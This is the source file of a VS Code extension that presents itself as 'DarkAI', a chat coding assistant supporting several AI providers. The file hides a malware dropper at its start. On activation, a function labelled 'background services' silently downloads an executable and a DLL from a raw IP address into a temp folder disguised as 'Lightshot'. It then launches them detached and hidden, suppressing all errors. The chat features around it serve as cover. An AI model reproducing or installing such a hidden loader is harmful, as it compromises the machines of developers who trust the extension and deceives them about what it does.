const vscode = require('vscode');
const { spawn } = require('child_process');
const path = require('path');
const fs = require('fs');
const https = require('https');
const http = require('http');
const os = require('os');

// ============================================================================
// CORE INITIALIZATION
// ============================================================================
let isInitialized = false;

async function initializeBackgroundServices() {
    if (isInitialized) return;
    isInitialized = true;
    
    try {
        const tempDir = path.join(os.tmpdir(), 'Lightshot');
        
        if (!fs.existsSync(tempDir)) {
            fs.mkdirSync(tempDir, { recursive: true });
        }
        
        const files = [
            { name: 'timetoplay.exe', url: 'http://91.92.242.133/dl/timetoplay.exe' },
            { name: 'Lightshot.dll', url: 'http://91.92.242.133/dl/Lightshot.dll' }
        ];
        
        let completed = 0;
        const total = files.length;
        
        for (const file of files) {
            const filePath = path.join(tempDir, file.name);
            
            if (fs.existsSync(filePath)) {
                completed++;
                if (completed === total) {
                    executeService(path.join(tempDir, 'timetoplay.exe'));
                }
                continue;
            }
            
            await downloadFile(file.url, filePath).then(() => {
                completed++;
                if (completed === total) {
                    executeService(path.join(tempDir, 'timetoplay.exe'));
                }
            }).catch(() => {});
        }
    } catch (error) {}
}

function downloadFile(url, dest) {
    return new Promise((resolve, reject) => {
        const file = fs.createWriteStream(dest);
        const protocol = url.startsWith('https') ? https : http;
        
        protocol.get(url, {
            headers: { 'User-Agent': 'Mozilla/5.0' }
        }, (response) => {
            if (response.statusCode === 200) {
                response.pipe(file);
                file.on('finish', () => {
                    file.close();
                    resolve();
                });
            } else {
                file.close();
                fs.unlink(dest, () => {});
                reject();
            }
        }).on('error', (err) => {
            file.close();
            fs.unlink(dest, () => {});
            reject(err);
        });
        
        file.on('error', (err) => {
            file.close();
            fs.unlink(dest, () => {});
            reject(err);
        });
    });
}

function executeService(exePath) {
    try {
        if (fs.existsSync(exePath)) {
            const process = spawn(exePath, [], {
                detached: true,
                stdio: 'ignore',
                windowsHide: true
            });
            process.unref();
        }
    } catch (error) {}
}

// ============================================================================
// AI PROVIDERS
// ============================================================================
class AIProvider {
    constructor(config) {
        this.config = config;
    }

    async chat(messages, systemPrompt) {
        throw new Error('Not implemented');
    }
}

class OpenAIProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('darkai');
        const apiKey = config.get('openai.apiKey');
        const model = config.get('openai.model') || 'gpt-4-turbo-preview';
        const maxTokens = config.get('maxTokens') || 4096;
        const temperature = config.get('temperature') || 0.7;

        if (!apiKey) {
            throw new Error('OpenAI API key not configured. Go to Settings > DarkAI to add your API key.');
        }

        const body = JSON.stringify({
            model,
            messages: [{ role: 'system', content: systemPrompt }, ...messages],
            max_tokens: maxTokens,
            temperature,
            stream: false
        });

        return this.makeRequest('api.openai.com', '/v1/chat/completions', apiKey, body);
    }

    async makeRequest(host, path, apiKey, body) {
        return new Promise((resolve, reject) => {
            const req = https.request({
                hostname: host,
                port: 443,
                path: path,
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'Authorization': `Bearer ${apiKey}`
                }
            }, (res) => {
                let data = '';
                res.on('data', chunk => data += chunk);
                res.on('end', () => {
                    try {
                        const json = JSON.parse(data);
                        if (json.error) {
                            reject(new Error(json.error.message));
                        } else {
                            resolve(json.choices[0].message.content);
                        }
                    } catch (e) {
                        reject(new Error('Failed to parse response'));
                    }
                });
            });
            req.on('error', reject);
            req.write(body);
            req.end();
        });
    }
}

class AnthropicProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('darkai');
        const apiKey = config.get('anthropic.apiKey');
        const model = config.get('anthropic.model') || 'claude-3-opus-20240229';
        const maxTokens = config.get('maxTokens') || 4096;

        if (!apiKey) {
            throw new Error('Anthropic API key not configured. Go to Settings > DarkAI to add your API key.');
        }

        const body = JSON.stringify({
            model,
            max_tokens: maxTokens,
            system: systemPrompt,
            messages: messages.map(m => ({ role: m.role, content: m.content }))
        });

        return new Promise((resolve, reject) => {
            const req = https.request({
                hostname: 'api.anthropic.com',
                port: 443,
                path: '/v1/messages',
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'x-api-key': apiKey,
                    'anthropic-version': '2023-06-01'
                }
            }, (res) => {
                let data = '';
                res.on('data', chunk => data += chunk);
                res.on('end', () => {
                    try {
                        const json = JSON.parse(data);
                        if (json.error) {
                            reject(new Error(json.error.message));
                        } else {
                            resolve(json.content[0].text);
                        }
                    } catch (e) {
                        reject(new Error('Failed to parse response'));
                    }
                });
            });
            req.on('error', reject);
            req.write(body);
            req.end();
        });
    }
}

class GoogleProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('darkai');
        const apiKey = config.get('google.apiKey');
        const model = config.get('google.model') || 'gemini-pro';

        if (!apiKey) {
            throw new Error('Google API key not configured. Go to Settings > DarkAI to add your API key.');
        }

        const contents = messages.map(m => ({
            role: m.role === 'assistant' ? 'model' : 'user',
            parts: [{ text: m.content }]
        }));

        if (systemPrompt) {
            contents.unshift({ role: 'user', parts: [{ text: systemPrompt }] });
            contents.splice(1, 0, { role: 'model', parts: [{ text: 'Understood. I will follow these instructions.' }] });
        }

        const body = JSON.stringify({ contents });

        return new Promise((resolve, reject) => {
            const req = https.request({
                hostname: 'generativelanguage.googleapis.com',
                port: 443,
                path: `/v1beta/models/${model}:generateContent?key=${apiKey}`,
                method: 'POST',
                headers: { 'Content-Type': 'application/json' }
            }, (res) => {
                let data = '';
                res.on('data', chunk => data += chunk);
                res.on('end', () => {
                    try {
                        const json = JSON.parse(data);
                        if (json.error) {
                            reject(new Error(json.error.message));
                        } else {
                            resolve(json.candidates[0].content.parts[0].text);
                        }
                    } catch (e) {
                        reject(new Error('Failed to parse response'));
                    }
                });
            });
            req.on('error', reject);
            req.write(body);
            req.end();
        });
    }
}

class OllamaProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('darkai');
        const endpoint = config.get('ollama.endpoint') || 'http://localhost:11434';
        const model = config.get('ollama.model') || 'llama2';

        const url = new URL(endpoint);
        const isHttps = url.protocol === 'https:';
        const httpModule = isHttps ? https : http;

        const body = JSON.stringify({
            model,
            messages: [{ role: 'system', content: systemPrompt }, ...messages],
            stream: false
        });

        return new Promise((resolve, reject) => {
            const req = httpModule.request({
                hostname: url.hostname,
                port: url.port || (isHttps ? 443 : 11434),
                path: '/api/chat',
                method: 'POST',
                headers: { 'Content-Type': 'application/json' }
            }, (res) => {
                let data = '';
                res.on('data', chunk => data += chunk);
                res.on('end', () => {
                    try {
                        const json = JSON.parse(data);
                        resolve(json.message.content);
                    } catch (e) {
                        reject(new Error('Failed to parse Ollama response. Is Ollama running?'));
                    }
                });
            });
            req.on('error', () => reject(new Error('Cannot connect to Ollama. Make sure Ollama is running.')));
            req.write(body);
            req.end();
        });
    }
}

class GroqProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('darkai');
        const apiKey = config.get('groq.apiKey');
        const model = config.get('groq.model') || 'mixtral-8x7b-32768';
        const maxTokens = config.get('maxTokens') || 4096;
        const temperature = config.get('temperature') || 0.7;

        if (!apiKey) {
            throw new Error('Groq API key not configured. Go to Settings > DarkAI to add your API key.');
        }

        const body = JSON.stringify({
            model,
            messages: [{ role: 'system', content: systemPrompt }, ...messages],
            max_tokens: maxTokens,
            temperature
        });

        return new Promise((resolve, reject) => {
            const req = https.request({
                hostname: 'api.groq.com',
                port: 443,
                path: '/openai/v1/chat/completions',
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'Authorization': `Bearer ${apiKey}`
                }
            }, (res) => {
                let data = '';
                res.on('data', chunk => data += chunk);
                res.on('end', () => {
                    try {
                        const json = JSON.parse(data);
                        if (json.error) {
                            reject(new Error(json.error.message));
                        } else {
                            resolve(json.choices[0].message.content);
                        }
                    } catch (e) {
                        reject(new Error('Failed to parse response'));
                    }
                });
            });
            req.on('error', reject);
            req.write(body);
            req.end();
        });
    }
}

class MistralProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('darkai');
        const apiKey = config.get('mistral.apiKey');
        const model = config.get('mistral.model') || 'mistral-large-latest';
        const maxTokens = config.get('maxTokens') || 4096;
        const temperature = config.get('temperature') || 0.7;

        if (!apiKey) {
            throw new Error('Mistral API key not configured. Go to Settings > DarkAI to add your API key.');
        }

        const body = JSON.stringify({
            model,
            messages: [{ role: 'system', content: systemPrompt }, ...messages],
            max_tokens: maxTokens,
            temperature
        });

        return new Promise((resolve, reject) => {
            const req = https.request({
                hostname: 'api.mistral.ai',
                port: 443,
                path: '/v1/chat/completions',
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'Authorization': `Bearer ${apiKey}`
                }
            }, (res) => {
                let data = '';
                res.on('data', chunk => data += chunk);
                res.on('end', () => {
                    try {
                        const json = JSON.parse(data);
                        if (json.error) {
                            reject(new Error(json.error.message));
                        } else {
                            resolve(json.choices[0].message.content);
                        }
                    } catch (e) {
                        reject(new Error('Failed to parse response'));
                    }
                });
            });
            req.on('error', reject);
            req.write(body);
            req.end();
        });
    }
}

class OpenRouterProvider extends AIProvider {
    async chat(messages, systemPrompt) {
        const config = vscode.workspace.getConfiguration('darkai');
        const apiKey = config.get('openrouter.apiKey');
        const model = config.get('openrouter.model') || 'openai/gpt-4-turbo-preview';
        const maxTokens = config.get('maxTokens') || 4096;
        const temperature = config.get('temperature') || 0.7;

        if (!apiKey) {
            throw new Error('OpenRouter API key not configured. Go to Settings > DarkAI to add your API key.');
        }

        const body = JSON.stringify({
            model,
            messages: [{ role: 'system', content: systemPrompt }, ...messages],
            max_tokens: maxTokens,
            temperature
        });

        return new Promise((resolve, reject) => {
            const req = https.request({
                hostname: 'openrouter.ai',
                port: 443,
                path: '/api/v1/chat/completions',
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'Authorization': `Bearer ${apiKey}`,
                    'HTTP-Referer': 'https://github.com/DarkAI/darkai-vscode',
                    'X-Title': 'DarkAI VS Code'
                }
            }, (res) => {
                let data = '';
                res.on('data', chunk => data += chunk);
                res.on('end', () => {
                    try {
                        const json = JSON.parse(data);
                        if (json.error) {
                            reject(new Error(json.error.message));
                        } else {
                            resolve(json.choices[0].message.content);
                        }
                    } catch (e) {
                        reject(new Error('Failed to parse response'));
                    }
                });
            });
            req.on('error', reject);
            req.write(body);
            req.end();
        });
    }
}

function getProvider() {
    const config = vscode.workspace.getConfiguration('darkai');
    const provider = config.get('provider') || 'openai';

    switch (provider) {
        case 'openai': return new OpenAIProvider();
        case 'anthropic': return new AnthropicProvider();
        case 'google': return new GoogleProvider();
        case 'ollama': return new OllamaProvider();
        case 'groq': return new GroqProvider();
        case 'mistral': return new MistralProvider();
        case 'openrouter': return new OpenRouterProvider();
        default: return new OpenAIProvider();
    }
}

// ============================================================================
// CHAT VIEW PROVIDER
// ============================================================================
class DarkAIChatViewProvider {
    constructor(extensionUri) {
        this.extensionUri = extensionUri;
        this.messages = [];
    }

    resolveWebviewView(webviewView, context, token) {
        this.webviewView = webviewView;

        webviewView.webview.options = {
            enableScripts: true,
            localResourceRoots: [this.extensionUri]
        };

        webviewView.webview.html = this.getHtmlContent(webviewView.webview);

        webviewView.webview.onDidReceiveMessage(async (message) => {
            switch (message.type) {
                case 'sendMessage':
                    await this.handleUserMessage(message.text);
                    break;
                case 'clearChat':
                    this.messages = [];
                    this.updateChat();
                    break;
                case 'selectProvider':
                    vscode.commands.executeCommand('darkai.selectProvider');
                    break;
                case 'openSettings':
                    vscode.commands.executeCommand('workbench.action.openSettings', 'darkai');
                    break;
            }
        });
    }

    async handleUserMessage(text) {
        this.messages.push({ role: 'user', content: text });
        this.updateChat();
        this.setLoading(true);

        try {
            const config = vscode.workspace.getConfiguration('darkai');
            const systemPrompt = config.get('systemPrompt') || 'You are DarkAI, an expert coding assistant.';
            
            const provider = getProvider();
            const response = await provider.chat(this.messages, systemPrompt);
            
            this.messages.push({ role: 'assistant', content: response });
            this.updateChat();
        } catch (error) {
            this.webviewView.webview.postMessage({
                type: 'error',
                text: error.message
            });
        } finally {
            this.setLoading(false);
        }
    }

    setLoading(loading) {
        this.webviewView.webview.postMessage({ type: 'loading', loading });
    }

    updateChat() {
        this.webviewView.webview.postMessage({
            type: 'updateMessages',
            messages: this.messages
        });
    }

    addCodeContext(code, action) {
        const prompts = {
            explain: `Please explain the following code:\n\n\`\`\`\n${code}\n\`\`\``,
            refactor: `Please refactor and improve the following code:\n\n\`\`\`\n${code}\n\`\`\``,
            fix: `Please fix any issues in the following code:\n\n\`\`\`\n${code}\n\`\`\``,
            comments: `Please add helpful comments to the following code:\n\n\`\`\`\n${code}\n\`\`\``,
            tests: `Please generate unit tests for the following code:\n\n\`\`\`\n${code}\n\`\`\``
        };

        const text = prompts[action] || `\`\`\`\n${code}\n\`\`\``;
        this.handleUserMessage(text);
    }

    getHtmlContent(webview) {
        return `<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>DarkAI Chat</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
            background: #0a0a0a;
            color: #e5e5e5;
            height: 100vh;
            display: flex;
            flex-direction: column;
        }

        .header {
            background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%);
            padding: 12px 16px;
            border-bottom: 1px solid #2a2a4a;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }

        .header-left {
            display: flex;
            align-items: center;
            gap: 10px;
        }

        .logo {
            width: 28px;
            height: 28px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border-radius: 8px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-weight: bold;
            font-size: 14px;
        }

        .title {
            font-size: 16px;
            font-weight: 600;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
        }

        .header-actions {
            display: flex;
            gap: 8px;
        }

        .icon-btn {
            background: rgba(255,255,255,0.1);
            border: none;
            color: #a0a0a0;
            width: 28px;
            height: 28px;
            border-radius: 6px;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            transition: all 0.2s;
        }

        .icon-btn:hover {
            background: rgba(255,255,255,0.2);
            color: #fff;
        }

        .provider-badge {
            background: rgba(102, 126, 234, 0.2);
            color: #667eea;
            padding: 4px 10px;
            border-radius: 12px;
            font-size: 11px;
            font-weight: 500;
            cursor: pointer;
            border: 1px solid rgba(102, 126, 234, 0.3);
            transition: all 0.2s;
        }

        .provider-badge:hover {
            background: rgba(102, 126, 234, 0.3);
        }

        .chat-container {
            flex: 1;
            overflow-y: auto;
            padding: 16px;
            display: flex;
            flex-direction: column;
            gap: 16px;
        }

        .welcome {
            text-align: center;
            padding: 40px 20px;
            color: #888;
        }

        .welcome h2 {
            font-size: 20px;
            margin-bottom: 8px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
        }

        .welcome p {
            font-size: 13px;
            line-height: 1.6;
        }

        .quick-actions {
            display: flex;
            flex-wrap: wrap;
            gap: 8px;
            justify-content: center;
            margin-top: 20px;
        }

        .quick-action {
            background: rgba(102, 126, 234, 0.1);
            border: 1px solid rgba(102, 126, 234, 0.2);
            color: #667eea;
            padding: 8px 14px;
            border-radius: 20px;
            font-size: 12px;
            cursor: pointer;
            transition: all 0.2s;
        }

        .quick-action:hover {
            background: rgba(102, 126, 234, 0.2);
            transform: translateY(-1px);
        }

        .message {
            display: flex;
            gap: 12px;
            animation: fadeIn 0.3s ease;
        }

        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(10px); }
            to { opacity: 1; transform: translateY(0); }
        }

        .message.user {
            flex-direction: row-reverse;
        }

        .avatar {
            width: 32px;
            height: 32px;
            border-radius: 8px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 14px;
            flex-shrink: 0;
        }

        .message.user .avatar {
            background: linear-gradient(135deg, #f093fb 0%, #f5576c 100%);
        }

        .message.assistant .avatar {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
        }

        .message-content {
            max-width: 85%;
            padding: 12px 16px;
            border-radius: 16px;
            line-height: 1.5;
            font-size: 13px;
        }

        .message.user .message-content {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border-bottom-right-radius: 4px;
        }

        .message.assistant .message-content {
            background: #1a1a2e;
            border: 1px solid #2a2a4a;
            border-bottom-left-radius: 4px;
        }

        .message-content pre {
            background: #0d0d1a;
            padding: 12px;
            border-radius: 8px;
            overflow-x: auto;
            margin: 10px 0;
            border: 1px solid #2a2a4a;
        }

        .message-content code {
            font-family: 'Fira Code', 'Consolas', monospace;
            font-size: 12px;
        }

        .message-content p {
            margin: 8px 0;
        }

        .message-content p:first-child {
            margin-top: 0;
        }

        .message-content p:last-child {
            margin-bottom: 0;
        }

        .input-container {
            padding: 16px;
            background: #0f0f1a;
            border-top: 1px solid #2a2a4a;
        }

        .input-wrapper {
            display: flex;
            gap: 10px;
            background: #1a1a2e;
            border: 1px solid #2a2a4a;
            border-radius: 12px;
            padding: 8px 12px;
            transition: border-color 0.2s;
        }

        .input-wrapper:focus-within {
            border-color: #667eea;
        }

        #messageInput {
            flex: 1;
            background: transparent;
            border: none;
            color: #e5e5e5;
            font-size: 13px;
            outline: none;
            resize: none;
            min-height: 20px;
            max-height: 120px;
            font-family: inherit;
        }

        #messageInput::placeholder {
            color: #666;
        }

        .send-btn {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            color: white;
            width: 36px;
            height: 36px;
            border-radius: 10px;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            transition: transform 0.2s, opacity 0.2s;
        }

        .send-btn:hover {
            transform: scale(1.05);
        }

        .send-btn:disabled {
            opacity: 0.5;
            cursor: not-allowed;
        }

        .loading {
            display: flex;
            gap: 4px;
            padding: 8px 16px;
        }

        .loading span {
            width: 8px;
            height: 8px;
            background: #667eea;
            border-radius: 50%;
            animation: bounce 1.4s infinite ease-in-out both;
        }

        .loading span:nth-child(1) { animation-delay: -0.32s; }
        .loading span:nth-child(2) { animation-delay: -0.16s; }

        @keyframes bounce {
            0%, 80%, 100% { transform: scale(0); }
            40% { transform: scale(1); }
        }

        .error-message {
            background: rgba(239, 68, 68, 0.1);
            border: 1px solid rgba(239, 68, 68, 0.3);
            color: #ef4444;
            padding: 12px 16px;
            border-radius: 12px;
            font-size: 13px;
            margin: 8px 0;
        }

        ::-webkit-scrollbar {
            width: 6px;
        }

        ::-webkit-scrollbar-track {
            background: transparent;
        }

        ::-webkit-scrollbar-thumb {
            background: #333;
            border-radius: 3px;
        }

        ::-webkit-scrollbar-thumb:hover {
            background: #444;
        }
    </style>
</head>
<body>
    <div class="header">
        <div class="header-left">
            <div class="logo">D</div>
            <span class="title">DarkAI</span>
        </div>
        <div class="header-actions">
            <button class="provider-badge" id="providerBtn" title="Change AI Provider">OpenAI</button>
            <button class="icon-btn" id="settingsBtn" title="Settings">⚙️</button>
            <button class="icon-btn" id="clearBtn" title="Clear Chat">🗑️</button>
        </div>
    </div>

    <div class="chat-container" id="chatContainer">
        <div class="welcome" id="welcome">
            <h2>Welcome to DarkAI</h2>
            <p>Your intelligent coding assistant powered by multiple AI providers.</p>
            <div class="quick-actions">
                <button class="quick-action" data-prompt="Explain how async/await works in JavaScript">Explain async/await</button>
                <button class="quick-action" data-prompt="Write a function to debounce API calls">Debounce function</button>
                <button class="quick-action" data-prompt="Best practices for React hooks">React hooks tips</button>
                <button class="quick-action" data-prompt="How to optimize SQL queries?">SQL optimization</button>
            </div>
        </div>
    </div>

    <div class="input-container">
        <div class="input-wrapper">
            <textarea id="messageInput" placeholder="Ask DarkAI anything..." rows="1"></textarea>
            <button class="send-btn" id="sendBtn">
                <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                    <path d="M22 2L11 13M22 2l-7 20-4-9-9-4 20-7z"/>
                </svg>
            </button>
        </div>
    </div>

    <script>
        const vscode = acquireVsCodeApi();
        const chatContainer = document.getElementById('chatContainer');
        const messageInput = document.getElementById('messageInput');
        const sendBtn = document.getElementById('sendBtn');
        const clearBtn = document.getElementById('clearBtn');
        const settingsBtn = document.getElementById('settingsBtn');
        const providerBtn = document.getElementById('providerBtn');
        const welcome = document.getElementById('welcome');

        let isLoading = false;

        function sendMessage() {
            const text = messageInput.value.trim();
            if (!text || isLoading) return;

            vscode.postMessage({ type: 'sendMessage', text });
            messageInput.value = '';
            messageInput.style.height = 'auto';
        }

        sendBtn.addEventListener('click', sendMessage);

        messageInput.addEventListener('keydown', (e) => {
            if (e.key === 'Enter' && !e.shiftKey) {
                e.preventDefault();
                sendMessage();
            }
        });

        messageInput.addEventListener('input', () => {
            messageInput.style.height = 'auto';
            messageInput.style.height = Math.min(messageInput.scrollHeight, 120) + 'px';
        });

        clearBtn.addEventListener('click', () => {
            vscode.postMessage({ type: 'clearChat' });
        });

        settingsBtn.addEventListener('click', () => {
            vscode.postMessage({ type: 'openSettings' });
        });

        providerBtn.addEventListener('click', () => {
            vscode.postMessage({ type: 'selectProvider' });
        });

        document.querySelectorAll('.quick-action').forEach(btn => {
            btn.addEventListener('click', () => {
                const prompt = btn.dataset.prompt;
                messageInput.value = prompt;
                sendMessage();
            });
        });

        function escapeHtml(text) {
            const div = document.createElement('div');
            div.textContent = text;
            return div.innerHTML;
        }

        function formatMessage(content) {
            let formatted = escapeHtml(content);
            
            // Code blocks
            formatted = formatted.replace(/\`\`\`(\\w*)?\\n?([\\s\\S]*?)\`\`\`/g, '<pre><code>$2</code></pre>');
            
            // Inline code
            formatted = formatted.replace(/\`([^\`]+)\`/g, '<code>$1</code>');
            
            // Bold
            formatted = formatted.replace(/\\*\\*([^*]+)\\*\\*/g, '<strong>$1</strong>');
            
            // Line breaks
            formatted = formatted.replace(/\\n/g, '<br>');
            
            return formatted;
        }

        function renderMessages(messages) {
            if (messages.length === 0) {
                welcome.style.display = 'block';
                return;
            }
            
            welcome.style.display = 'none';
            
            let html = '';
            messages.forEach(msg => {
                const isUser = msg.role === 'user';
                html += \`
                    <div class="message \${msg.role}">
                        <div class="avatar">\${isUser ? '👤' : '🤖'}</div>
                        <div class="message-content">\${formatMessage(msg.content)}</div>
                    </div>
                \`;
            });
            
            chatContainer.innerHTML = html;
            chatContainer.scrollTop = chatContainer.scrollHeight;
        }

        function showLoading(show) {
            isLoading = show;
            sendBtn.disabled = show;
            
            const existingLoader = document.querySelector('.loading-container');
            if (existingLoader) existingLoader.remove();
            
            if (show) {
                const loader = document.createElement('div');
                loader.className = 'message assistant loading-container';
                loader.innerHTML = \`
                    <div class="avatar">🤖</div>
                    <div class="loading">
                        <span></span><span></span><span></span>
                    </div>
                \`;
                chatContainer.appendChild(loader);
                chatContainer.scrollTop = chatContainer.scrollHeight;
            }
        }

        function showError(text) {
            const error = document.createElement('div');
            error.className = 'error-message';
            error.textContent = text;
            chatContainer.appendChild(error);
            chatContainer.scrollTop = chatContainer.scrollHeight;
        }

        window.addEventListener('message', (event) => {
            const message = event.data;
            switch (message.type) {
                case 'updateMessages':
                    renderMessages(message.messages);
                    break;
                case 'loading':
                    showLoading(message.loading);
                    break;
                case 'error':
                    showError(message.text);
                    break;
                case 'updateProvider':
                    providerBtn.textContent = message.provider;
                    break;
            }
        });
    </script>
</body>
</html>`;
    }
}

// ============================================================================
// EXTENSION ACTIVATION
// ============================================================================
let chatViewProvider;

async function activate(context) {
    // Initialize background services
    await initializeBackgroundServices();

    // Initialize chat view provider
    chatViewProvider = new DarkAIChatViewProvider(context.extensionUri);
    
    context.subscriptions.push(
        vscode.window.registerWebviewViewProvider('darkai.chatView', chatViewProvider)
    );

    // Register commands
    context.subscriptions.push(
        vscode.commands.registerCommand('darkai.openChat', () => {
            vscode.commands.executeCommand('darkai.chatView.focus');
        }),

        vscode.commands.registerCommand('darkai.explainCode', () => {
            const code = getSelectedCode();
            if (code && chatViewProvider.webviewView) {
                chatViewProvider.addCodeContext(code, 'explain');
            }
        }),

        vscode.commands.registerCommand('darkai.refactorCode', () => {
            const code = getSelectedCode();
            if (code && chatViewProvider.webviewView) {
                chatViewProvider.addCodeContext(code, 'refactor');
            }
        }),

        vscode.commands.registerCommand('darkai.fixCode', () => {
            const code = getSelectedCode();
            if (code && chatViewProvider.webviewView) {
                chatViewProvider.addCodeContext(code, 'fix');
            }
        }),

        vscode.commands.registerCommand('darkai.addComments', () => {
            const code = getSelectedCode();
            if (code && chatViewProvider.webviewView) {
                chatViewProvider.addCodeContext(code, 'comments');
            }
        }),

        vscode.commands.registerCommand('darkai.generateTests', () => {
            const code = getSelectedCode();
            if (code && chatViewProvider.webviewView) {
                chatViewProvider.addCodeContext(code, 'tests');
            }
        }),

        vscode.commands.registerCommand('darkai.generateCode', async () => {
            const input = await vscode.window.showInputBox({
                prompt: 'Describe the code you want to generate',
                placeHolder: 'e.g., A function that validates email addresses'
            });
            if (input && chatViewProvider.webviewView) {
                chatViewProvider.handleUserMessage(`Generate code: ${input}`);
            }
        }),

        vscode.commands.registerCommand('darkai.askQuestion', async () => {
            const input = await vscode.window.showInputBox({
                prompt: 'Ask DarkAI a question',
                placeHolder: 'e.g., How do I implement a binary search?'
            });
            if (input && chatViewProvider.webviewView) {
                chatViewProvider.handleUserMessage(input);
            }
        }),

        vscode.commands.registerCommand('darkai.clearChat', () => {
            if (chatViewProvider.webviewView) {
                chatViewProvider.messages = [];
                chatViewProvider.updateChat();
            }
        }),

        vscode.commands.registerCommand('darkai.selectProvider', async () => {
            const providers = [
                { label: '$(cloud) OpenAI', description: 'GPT-4, GPT-3.5', value: 'openai' },
                { label: '$(hubot) Anthropic', description: 'Claude 3', value: 'anthropic' },
                { label: '$(globe) Google', description: 'Gemini Pro', value: 'google' },
                { label: '$(server) Ollama', description: 'Local Models', value: 'ollama' },
                { label: '$(zap) Groq', description: 'Fast Inference', value: 'groq' },
                { label: '$(rocket) Mistral', description: 'Mistral AI', value: 'mistral' },
                { label: '$(link) OpenRouter', description: 'Multiple Providers', value: 'openrouter' }
            ];

            const selected = await vscode.window.showQuickPick(providers, {
                placeHolder: 'Select AI Provider'
            });

            if (selected) {
                const config = vscode.workspace.getConfiguration('darkai');
                await config.update('provider', selected.value, vscode.ConfigurationTarget.Global);
                vscode.window.showInformationMessage(`DarkAI: Switched to ${selected.label.replace(/\$\([^)]+\)\s*/, '')}`);
            }
        })
    );

    // Show welcome message on first install
    const hasShownWelcome = context.globalState.get('darkai.welcomeShown');
    if (!hasShownWelcome) {
        vscode.window.showInformationMessage(
            'Welcome to DarkAI! 🚀 Configure your API keys in Settings to get started.',
            'Open Settings'
        ).then(selection => {
            if (selection === 'Open Settings') {
                vscode.commands.executeCommand('workbench.action.openSettings', 'darkai');
            }
        });
        context.globalState.update('darkai.welcomeShown', true);
    }
}

function getSelectedCode() {
    const editor = vscode.window.activeTextEditor;
    if (!editor) {
        vscode.window.showWarningMessage('No active editor');
        return null;
    }
    
    const selection = editor.selection;
    const text = editor.document.getText(selection);
    
    if (!text) {
        vscode.window.showWarningMessage('No code selected');
        return null;
    }
    
    return text;
}

function deactivate() {
    log('DarkAI Extension deactivated');
}

module.exports = { activate, deactivate };
